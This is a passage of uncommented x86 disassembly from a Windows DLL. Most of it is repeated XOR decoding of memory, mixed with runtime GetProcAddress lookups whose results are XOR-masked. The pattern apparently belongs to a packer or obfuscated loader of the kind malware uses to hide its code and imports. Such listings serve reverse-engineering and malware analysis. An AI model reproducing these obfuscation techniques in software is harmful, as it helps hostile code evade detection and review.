xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c2c]
add eax, 0x36ce0
xor eax, dword [ecx]
xor eax, 0xdccfa02c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a18]
add eax, 0x13030
xor eax, dword [ecx]
xor eax, 0xdccdfcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254fc]
add eax, 0x3690
xor eax, dword [ecx]
xor eax, 0xdcccfa5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
xor dword [0x10105abc], eax
lea ecx, [eax + 0x12649]
add eax, 0x2892c
xor eax, dword [ecx]
xor eax, 0xdcce45e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ebc]
add eax, 0x33280
xor eax, dword [ecx]
xor eax, 0xdccffe4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x212d]
add eax, 0x24f60
xor eax, dword [ecx]
xor eax, 0xdcce83ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17a24]
add eax, 0x17a38
xor eax, dword [ecx]
xor eax, 0xdccdb6f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193ef]
add eax, 0x20394
xor eax, dword [ecx]
xor eax, 0xdccecf58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ad4]
add eax, 0x33adc
xor eax, dword [ecx]
xor eax, 0xdccff610
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33eb8]
add eax, 0x1f4e0
xor eax, dword [ecx]
xor eax, 0xdccd382c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16ce7]
add eax, 0x1f895
xor eax, dword [ecx]
xor eax, 0xdccd3459
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10f87]
add eax, 0x32360
xor eax, dword [ecx]
xor eax, 0xdccfefac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43ac]
add eax, 0x853f8
xor eax, dword [ecx]
xor eax, 0xdcc49f34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6749]
add eax, 0x27984
xor eax, dword [ecx]
xor eax, 0xdcceb548
mov dword [ecx], eax
mov eax, dword [0x10103e60]
add eax, 0xfdfffd7d
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46f4]
add eax, 0x92f88
xor eax, dword [ecx]
xor eax, 0xdcc5e344
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4518]
add eax, 0x26400
xor eax, dword [ecx]
xor eax, 0xdccea8cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa447]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa9d1]
add eax, 0x27e54
xor eax, dword [ecx]
xor eax, 0xdcceb298
mov dword [ecx], eax
and dword [0x101062e4], 0xfdfffd7d
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2039c]
add eax, 0x17df6
xor eax, dword [ecx]
xor eax, 0xdccdb13a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12103]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3e9a]
add eax, 0x25728
xor eax, dword [ecx]
xor eax, 0xdcce9be4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x69cc]
add eax, 0x200c0
xor eax, dword [ecx]
xor eax, 0xdccecc0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + edx]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x36254]
add eax, 0x2354c
xor eax, dword [ecx]
xor eax, 0xdccef980
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bca8]
add eax, 0xa8fb0
xor eax, dword [ecx]
xor eax, 0xdcc6437c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x81d9]
add eax, 0x1f628
xor eax, dword [ecx]
xor eax, 0xdccd3ae4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa457c]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1156a]
add eax, 0x20178
xor eax, dword [ecx]
xor eax, 0xdccecdb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4364]
add eax, 0x84950
xor eax, dword [ecx]
xor eax, 0xdcc4859c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34210]
add eax, 0x34200
xor eax, dword [ecx]
xor eax, 0xdccf8ecc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f00]
add eax, 0x26fb8
xor eax, dword [ecx]
xor eax, 0xdccea374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4024]
add eax, 0x27748
xor eax, dword [ecx]
push 0x10107bd8
push dword [esp + 0x28]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x1c12631
add eax, 0x20284
mov dword [0x10106ae8], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9d14
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b04]
add eax, 0x1e722
xor eax, dword [ecx]
xor eax, 0xdccd2bee
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbd28]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ad82]
add eax, 0xa8fb4
xor eax, dword [ecx]
xor eax, 0xdcc64378
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c366]
add eax, 0xa4bfc
xor eax, dword [ecx]
xor eax, 0xdcc68730
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xead0]
add eax, 0xa5a3c
xor eax, dword [ecx]
xor eax, 0xdcc696f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b561]
add eax, 0x36a60
xor eax, dword [ecx]
xor eax, 0xdccfa6ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18ba3]
add eax, 0x361f0
xor eax, dword [ecx]
xor eax, 0xdccfad3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a11b]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11104]
add eax, 0x323cc
xor eax, dword [ecx]
xor eax, 0xdccfef00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3629c]
add eax, 0x2329c
xor eax, dword [ecx]
xor eax, 0xdccefe50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d66b]
add eax, 0x20160
xor eax, dword [ecx]
xor eax, 0xdccecdac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19403]
add eax, 0xa90f4
xor eax, dword [ecx]
push 0x10107cfa
xor eax, 0xdcc65c38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33728]
add eax, 0x3372c
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccffbe0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12800]
add eax, 0x2583c
xor eax, dword [ecx]
xor eax, 0xdcce94f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3407c]
add eax, 0xa51b
xor eax, dword [ecx]
xor eax, 0xdccc69d7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x180ed]
add eax, 0x2008c
xor eax, dword [ecx]
xor eax, 0xdccecc40
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202d4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9cd0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8a76]
add eax, 0x20004
xor eax, dword [ecx]
xor eax, 0xdcceccc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370c8]
add eax, 0x31cc0
xor eax, dword [ecx]
xor eax, 0xdccfd00c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33050]
add eax, 0x33054
xor eax, dword [ecx]
xor eax, 0xdccffc98
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa83b]
add eax, 0xa59b0
xor eax, dword [ecx]
xor eax, 0xdcc6957c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe769]
add eax, 0xe6f0
xor eax, dword [ecx]
xor eax, 0xdccc2a3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36afc]
add eax, 0x249b4
xor eax, dword [ecx]
xor eax, 0xdcce8578
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f14]
add eax, 0x69c48
xor eax, dword [ecx]
push 0x1010772c
xor eax, 0xdcca5084
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329d0]
add eax, 0x13c50
xor eax, dword [ecx]
push ebp
xor eax, 0xdccdf09c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9435]
add eax, 0x27c88
xor eax, dword [ecx]
xor eax, 0xdcceb044
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20114
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107aca
xor ecx, 0xcccf8106
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49bc]
add eax, 0x328dc
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfe410
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9bda]
add eax, 0x24c88
xor eax, dword [ecx]
xor eax, 0xdcce8044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48c0]
add eax, 0x262f8
xor eax, dword [ecx]
xor eax, 0xdcceae34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279c4]
add eax, 0x3dc0
xor eax, dword [ecx]
xor eax, 0xdcccf10c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7ee6]
add eax, 0x25694
xor eax, dword [ecx]
xor eax, 0xdcce9a58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329e8]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201f4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9b16
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1320a]
add eax, 0x20368
xor eax, dword [ecx]
xor eax, 0xdccecfa4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8cc2]
add eax, 0x27c8c
xor eax, dword [ecx]
push 0x10107a37
xor eax, 0xdcceb040
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x27b1]
add eax, 0x202bc
xor eax, dword [ecx]
push ebp
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb2ea]
add eax, 0xa5a10
xor eax, dword [ecx]
xor eax, 0xdcc696dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e24]
add eax, 0x32f54
xor eax, dword [ecx]
xor eax, 0xdccfe398
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201d4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov edx, dword [esp + 0x14]
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101078f8
xor ecx, 0xcccf9ad0
mov dword [eax], ecx
mov eax, dword [0x1010536c]
mov ecx, 0xfdfffd7d
sub ecx, eax
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x10103e64]
add ecx, edx
mov dword [0x101062e0], ecx
mov ecx, dword [0x101062e4]
add eax, ecx
mov ecx, dword [0x10107300]
imul eax, dword [esp + 0x1c]
lea edx, [ecx + 0x15163]
add ecx, 0x20d0c
xor ecx, dword [edx]
push ebp
xor ecx, 0xdccec1c0
mov dword [edx], ecx
mov ecx, dword [0x101062e4]
mov dword [0x10103e60], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1b949]
add ecx, 0x36968
xor ecx, dword [edx]
xor ecx, 0xdccfa5a4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x25c1]
add ecx, 0x25180
xor ecx, dword [edx]
xor ecx, 0xdcce9d4c
mov dword [edx], ecx
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
add eax, 0x20184
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9934
mov dword [eax], ecx
mov eax, dword [0x10107300]
and dword [0x101062e4], 0
lea ecx, [eax + 0x23fd0]
add eax, 0x23ef8
xor eax, dword [ecx]
xor eax, 0xdccef234
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11cb6]
add eax, 0x32424
xor eax, dword [ecx]
xor eax, 0xdccfe8e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [esp + 0x14]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x1da9b]
add eax, 0x36bb0
xor eax, dword [ecx]
xor eax, 0xdccfa77c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d34]
add eax, 0x32d40
xor eax, dword [ecx]
xor eax, 0xdccfe18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33604]
add eax, 0x339dc
xor eax, dword [ecx]
xor eax, 0xdccff510
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x3519eab8]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x254ec]
add eax, 0x3040
xor eax, dword [ecx]
xor eax, 0xdcccfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2cc1]
add eax, 0x2547c
xor eax, dword [ecx]
xor eax, 0xdcce98b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10106ae8]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x1d7ba]
add eax, 0x201fc
xor eax, dword [ecx]
xor eax, 0xdccecd30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b9c]
add eax, 0x47a68
xor eax, dword [ecx]
xor eax, 0xdcc8b6a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2242]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279e4]
add eax, 0x65f0
xor eax, dword [ecx]
xor eax, 0xdccca93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4244]
add eax, 0x7fb08
xor eax, dword [ecx]
xor eax, 0xdccb37c4
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
and eax, dword [esp + 0x14]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e655]
add eax, 0xa8f2c
xor eax, dword [ecx]
xor eax, 0xdcc643e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10495]
add eax, 0x20294
xor eax, dword [ecx]
xor eax, 0xdccece58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33628]
add eax, 0x337c4
xor eax, dword [ecx]
xor eax, 0xdccffb08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13582]
add eax, 0x23168
xor eax, dword [ecx]
xor eax, 0xdccefda4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1284d]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b120]
add eax, 0xa5238
xor eax, dword [ecx]
xor eax, 0xdcc69ef4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8114]
add eax, 0x27b60
xor eax, dword [ecx]
xor eax, 0xdcceb7ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4124]
add eax, 0x7c3b0
xor eax, dword [ecx]
xor eax, 0xdccb0f7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x18]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x32b84]
add eax, 0x32b88
xor eax, dword [ecx]
xor eax, 0xdccfe744
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6426]
add eax, 0x279c4
xor eax, dword [ecx]
xor eax, 0xdcceb508
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b8ee]
add eax, 0xa5530
xor eax, dword [ecx]
xor eax, 0xdcc699fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36004]
add eax, 0x231b8
xor eax, dword [ecx]
xor eax, 0xdccefd74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e2c]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4230]
add eax, 0x26928
xor eax, dword [ecx]
xor eax, 0xdccea5e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5a53]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b59d]
add eax, 0x36528
xor eax, dword [ecx]
xor eax, 0xdccfa9e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x342d0]
add eax, 0x342ec
xor eax, dword [ecx]
xor eax, 0xdccf8e20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33164]
add eax, 0x36f4c
xor eax, dword [ecx]
xor eax, 0xdccfa380
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24044]
add eax, 0x23e80
xor eax, dword [ecx]
xor eax, 0xdccef24c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9f82]
add eax, 0xa5a04
xor eax, dword [ecx]
xor eax, 0xdcc696c8
mov dword [ecx], eax
xor dword [0x10105abc], 0x5960ef6d
mov eax, dword [0x10107300]
lea ecx, [eax + 0x61d5]
add eax, 0xa4968
xor eax, dword [ecx]
xor eax, 0xdcc685a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17b91]
add eax, 0x33b58
xor eax, dword [ecx]
xor eax, 0xdccff794
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333e4]
add eax, 0xa49dc
xor eax, dword [ecx]
xor eax, 0xdcc68510
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19297]
add eax, 0xa4f48
xor eax, dword [ecx]
xor eax, 0xdcc68384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c60]
mov edx, eax
xor edx, dword [esp + 0x18]
add eax, 0x273d4
xor eax, dword [ecx]
xor eax, 0xdccebf18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a49e]
add eax, 0x20118
xor eax, dword [ecx]
xor eax, 0xdccecdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe5f1]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ce0]
add eax, 0x1b881
xor eax, dword [ecx]
xor eax, 0xdccd744d
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, eax
mov dword [0x10105ab8], ecx
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x138ef]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
or dword [0x10105ab8], 0x2c30d013
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13ea1]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2038c]
add eax, 0x1f880
xor eax, dword [ecx]
xor eax, 0xdccd344c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6d0f]
add eax, 0x27a0c
xor eax, dword [ecx]
xor eax, 0xdcceb6c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37078]
add eax, 0x31f10
xor eax, dword [ecx]
xor eax, 0xdccfd3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb64c]
add eax, 0x20300
xor eax, dword [ecx]
xor eax, 0xdccecfcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33b10]
add eax, 0x17c9b
xor eax, dword [ecx]
xor eax, 0xdccdb057
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5a29]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, 0xdccecc84
mov dword [ecx], eax
mov eax, dword [0x10103e60]
imul eax, edx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25524]
add eax, 0x2db0
xor eax, dword [ecx]
xor eax, 0xdccce17c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a08c]
add eax, 0x32afc
xor eax, dword [ecx]
xor eax, 0xdccfe630
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x41254]
add eax, 0xa4968
xor eax, dword [ecx]
push 0x1010771a
xor eax, 0xdcc685a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x18]
push ebp
mov dword [0x10105368], ecx
lea ecx, [eax + 0xa3b8c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeeb0]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf602]
add eax, 0x20300
xor eax, dword [ecx]
xor eax, 0xdccecfcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a4ba]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17fd4]
add eax, 0x200f0
xor eax, dword [ecx]
xor eax, 0xdccecc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4488]
add eax, 0x264f0
xor eax, dword [ecx]
xor eax, 0xdccea83c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3340c]
add eax, 0x33414
xor eax, dword [ecx]
xor eax, 0xdccff8d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16b53]
add eax, 0x21408
xor eax, dword [ecx]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370ac]
add eax, 0x31f10
xor eax, dword [ecx]
xor eax, 0xdccfd3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1046]
add eax, 0x24a78
xor eax, dword [ecx]
xor eax, 0xdcce86b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7f7]
add eax, 0xa59d4
xor eax, dword [ecx]
xor eax, 0xdcc69518
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20110
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x142
xor ecx, 0xcccf8150
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3868]
add eax, 0x230a8
xor eax, dword [ecx]
xor eax, 0xdccefc64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ca0]
add eax, 0x32ca4
xor eax, dword [ecx]
xor eax, 0xdccfe068
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18377]
add eax, 0x2019c
xor eax, dword [ecx]
xor eax, 0xdccecd50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa756]
add eax, 0x33df8
xor eax, dword [ecx]
xor eax, 0xdccff134
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003dbac
mov eax, dword [0x10105ab8]
and eax, 0x142
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ade7]
add eax, 0xa8fb8
xor eax, dword [ecx]
push 0x17
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f30]
add eax, 0x32f34
xor eax, dword [ecx]
push dword [esp + 0x38]
xor eax, 0xdccfe3f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd467]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cf04]
add eax, 0x1cf18
xor eax, dword [ecx]
xor eax, 0xdccd03d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b44]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49b8]
add eax, 0xa4878
xor eax, dword [ecx]
xor eax, 0xdcc684b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20344
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x48a
xor ecx, 0x4cccccdb
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe8a0]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003dcb9
mov dword [esp + 0x10], 0x3f6
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003dce1
mov eax, dword [0x10107300]
lea ecx, [eax + 0x231e0]
add eax, 0x32be8
xor eax, dword [ecx]
xor eax, 0xdccfe724
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b34]
add eax, 0x24954
xor eax, dword [ecx]
xor eax, 0xdcce8598
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x54e1]
add eax, 0x25ea4
xor eax, dword [ecx]
xor eax, 0xdcce9268
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4624]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x898d]
add eax, 0x27c44
xor eax, dword [ecx]
xor eax, 0xdcceb088
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16ab8]
add eax, 0x21c08
xor eax, dword [ecx]
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e18]
add eax, 0x32e1c
xor eax, dword [ecx]
xor eax, 0xdccfe2d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa2bc]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa437c]
add eax, 0x84ec8
xor eax, dword [ecx]
xor eax, 0xdcc48204
